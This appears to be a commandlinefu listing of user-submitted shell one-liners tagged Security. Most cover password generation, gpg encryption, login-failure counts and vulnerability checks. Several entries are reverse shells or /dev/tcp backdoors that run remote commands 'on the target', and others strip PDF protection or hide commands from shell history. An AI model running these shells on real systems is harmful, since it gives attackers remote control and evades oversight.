Commands tagged Security (51)

  • Remove security from PDF document using this very simple command on Linux and OSX. You need ghostscript for this baby to work.


    45
    gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
    deijmaster · 2009-12-14 21:30:22 5
  • Show the number of failed tries of login per account. If the user does not exist it is marked with *. Show Sample Output


    24
    sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
    point_to_null · 2009-03-21 06:41:59 2
  • Thanks to OpenSSL, you can quickly and easily generate MD5 hashes for your passwords. Alternative (thanks to linuxrawkstar and atoponce): echo -n 'text to be encrypted' | md5sum - Note that the above method does not utlise OpenSSL. Show Sample Output


    17
    echo -n 'text to be encrypted' | openssl md5
    Zenexer · 2009-03-18 00:11:46 4
  • By default sudo 'remembers' password for a few minutes, so that you do not need to re-enter password for a series of sudo commands that might follow within a short time duration. However, sometime you might want sudo to instantly 'forget' the password. (Next sudo command will need you to reenter the password) Credit: I first learned this while listening to one of the 'tuxradar' podcast. Show Sample Output


    17
    sudo -K
    b_t · 2010-10-05 12:44:26 0
  • -B flag = don't include characters that can be confused for other characters (this helps when you give someone their password for the first time so they don't cause a lockout with, for example, denyhosts or fail2ban) -s flag = make a "secure", or hard-to-crack password -y flag = include special characters (not used in the example because so many people hate it -- however I recommend it) "1 10" = output 1 password, make it 10 characters in length For even more secure passwords please use the -y flag to include special characters like so: pwgen -Bsy 10 1 output>> }&^Y?.>7Wu Show Sample Output


    15
    pwgen -Bs 10 1
    linuxrawkstar · 2009-12-01 14:33:51 1
  • usage: sitepass MaStErPaSsWoRd example.com description: An admittedly excessive amount of hashing, but this will give you a pretty secure password, It also eliminates repeated characters and deletes itself from your command history. tr '!-~' 'P-~!-O' # this bit is rot47, kinda like rot13 but more nerdy rev # this avoids the first few bytes of gzip payload, and the magic bytes. Show Sample Output


    14
    sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
    syssyphus · 2009-10-01 20:14:57 5
  • This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output


    9
    exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
    somaddict · 2012-11-16 02:48:01 0
  • for Mac OS X Show Sample Output


    8
    openssl rand -base64 6
    gikku · 2009-12-02 10:10:58 1
  • This is just a proof of concept: A FILE WHICH CAN AUTOMOUNT ITSELF through a SIMPLY ENCODED script. It takes advantage of the OFFSET option of mount, and uses it as a password (see that 9191? just change it to something similar, around 9k). It works fine, mounts, gets modified, updated, and can be moved by just copying it. USAGE: SEE SAMPLE OUTPUT The file is composed of three parts: a) The legible script (about 242 bytes) b) A random text fill to reach the OFFSET size (equals PASSWORD minus 242) c) The actual filesystem Logically, (a)+(b) = PASSWORD, that means OFFSET, and mount uses that option. PLEASE NOTE: THIS IS NOT AN ENCRYPTED FILESYSTEM. To improve it, it can be mounted with a better encryption script and used with encfs or cryptfs. The idea was just to test the concept... with one line :) It applies the original idea of http://www.commandlinefu.com/commands/view/7382/command-for-john-cons for encrypting the file. The embedded bash script can be grown, of course, and the offset recalculation goes fine. I have my own version with bash --init-file to startup a bashrc with a well-defined environment, aliases, variables. Show Sample Output


    6
    dd if=/dev/zero of=T bs=1024 count=10240;mkfs.ext3 -q T;E=$(echo 'read O;mount -o loop,offset=$O F /mnt;'|base64|tr -d '\n');echo "E=\$(echo $E|base64 -d);eval \$E;exit;">F;cat <(dd if=/dev/zero bs=$(echo 9191-$(stat -c%s F)|bc) count=1) <(cat T;rm T)>>F
    rodolfoap · 2013-01-31 01:38:30 5
  • (Please see sample output for usage) Use any script name (the read command gets it) and it will be encrypted with the extension .crypt, i.e.: myscript --> myscript.crypt You can execute myscript.crypt only if you know the password. If you die, your script dies with you. If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string). Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner. Sorry for the chmod on parentheses, I dont like "-" at the end. Thanks flatcap for the subshell abbreviation to /dev/null Show Sample Output


    6
    read -p 'Script: ' S && C=$S.crypt H='eval "$((dd if=$0 bs=1 skip=//|gpg -d)2>/dev/null)"; exit;' && gpg -c<$S|cat >$C <(echo $H|sed s://:$(echo "$H"|wc -c):) - <(chmod +x $C)
    rodolfoap · 2013-03-10 08:59:45 9
  • (Please see sample output for usage) script.bash is your script, which will be crypted to script.secure script.bash --> script.secure You can execute script.secure only if you know the password. If you die, your script dies with you. If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string). Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner. Show Sample Output


    5
    echo "eval \"\$(dd if=\$0 bs=1 skip=XX 2>/dev/null|gpg -d 2>/dev/null)\"; exit" > script.secure; sed -i s:XX:$(stat -c%s script.secure): script.secure; gpg -c < script.bash >> script.secure; chmod +x script.secure
    rodolfoap · 2013-03-09 11:16:48 5
  • This will encrypt your single file and create a filename.gpg file. Option: * -c : Encrypt with symmetric cipher To decrypt dhinesh@ubuntu:~$ gpg -c sample.rb.gpg Show Sample Output


    4
    gpg -c <filename>
    Dhinesh · 2011-11-21 06:26:59 0
  • This is a quick and easy way of encrypting files in a datastream, without ever really creating an output file from gpg. Useful with cron also, when file(s) have to be sent based on a set schedule.


    3
    cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com
    slashdot · 2009-10-19 20:38:37 0
  • #4345 also works under windows


    3
    gswin32c -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sFONTPATH=%windir%/fonts;xfonts;. -sPDFPassword= -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -sOutputFile=OUTPUT.pdf INPUT.pdf
    till · 2011-05-24 14:08:20 2
  • <space>secret_command;export HISTCONTROL= This will make "secret_command" not appear in "history" list.


    3
    export HISTCONTROL=ignorespace
    gorynka · 2013-07-25 08:31:10 0
  • If this command prints 'x' then your shell is vulnerable. Null output confirms that you are protected. Further reading: http://allanmcrae.com/2014/09/shellshock-and-arch-linux/ Show Sample Output


    3
    x="() { :; }; echo x" bash -c :
    malathion · 2014-12-08 22:21:18 0
  • You can search for CVEs at https://security-tracker.debian.org/tracker/ or use --report to get full links. This can be added to cron, but unless you're going to do manual patches, you'd just be torturing yourself.


    3
    debsecan --format detail
    pdxdoughnut · 2015-10-22 18:46:41 0
  • Someone might attack on your system. You can drop attacker IP using IPtables. However, you can use route command to null route unwanted traffic. A null route (also called as blackhole route) is a network route or kernel routing table entry that goes nowhere. Matching packets are dropped (ignored) rather than forwarded, acting as a kind of very limited firewall. The act of using null routes is often called blackhole filtering. Show Sample Output


    2
    sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
    JackiesJungle · 2009-02-23 19:58:09 2

  • 2
    arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
    aramosf · 2009-03-25 09:53:10 3

  • 2
    denyhosts-remove $IP_ADDRESS
    linuxrawkstar · 2009-11-19 16:28:34 7
  • Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/


    2
    exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
    truemilk · 2010-03-18 17:25:08 1
  • This should automatically mount it to /media/truecrypt1. Further mounts will go to /media/truecrypt2, and so on. You shouldn't need sudo/su if your permissions are right. I alias tru='truecrypt' since tr and true are commands. To explicitly create a mount point do: tru volume.tc /media/foo To make sure an GUI explorer window (nautilus, et al) opens on the mounted volume, add: --explorer To see what you currently have mounted do: tru -l To dismount a volume do: tru -d volume.tc. To dismount all mounted volumes at once do: tru -d Tested with Truecrypt v6.3a / Ubuntu 9.10


    2
    truecrypt volume.tc
    rkulla · 2010-04-14 18:34:09 0

  • 2
    bash -i >& /dev/tcp/IP/PORT 0>&1
    rux · 2011-02-16 11:54:29 0
  • Downloads Bluetack's level 1 IP blocklist in .p2p format, suitable for various Bittorrent clients.


    2
    wget -O - http://list.iblocklist.com/\?list\=ydxerpxkpcfqjaybcssw\&fileformat\=p2p\&archiveformat\=gz | gunzip > ~/ipfilter.p2p
    lordtoran · 2015-10-11 13:04:08 0
  • Test whether real-time virus detection is working by running this command and checking for eicar.com in /tmp. Requires real-time scanning to be enabled and active on the /tmp directory. If scanning is active, the file should be quarantined/deleted (depending on your settings) moments after running this command. If not, the (harmless) test file should remain in your /tmp directory.


    1
    echo 'K5B!C%@NC[4\CMK54(C^)7PP)7}$RVPNE-FGNAQNEQ-NAGVIVEHF-GRFG-SVYR!$U+U*' | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' > /tmp/eicar.com
    cyberscribe · 2010-08-13 21:39:35 1
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check open ports without netstat or lsof


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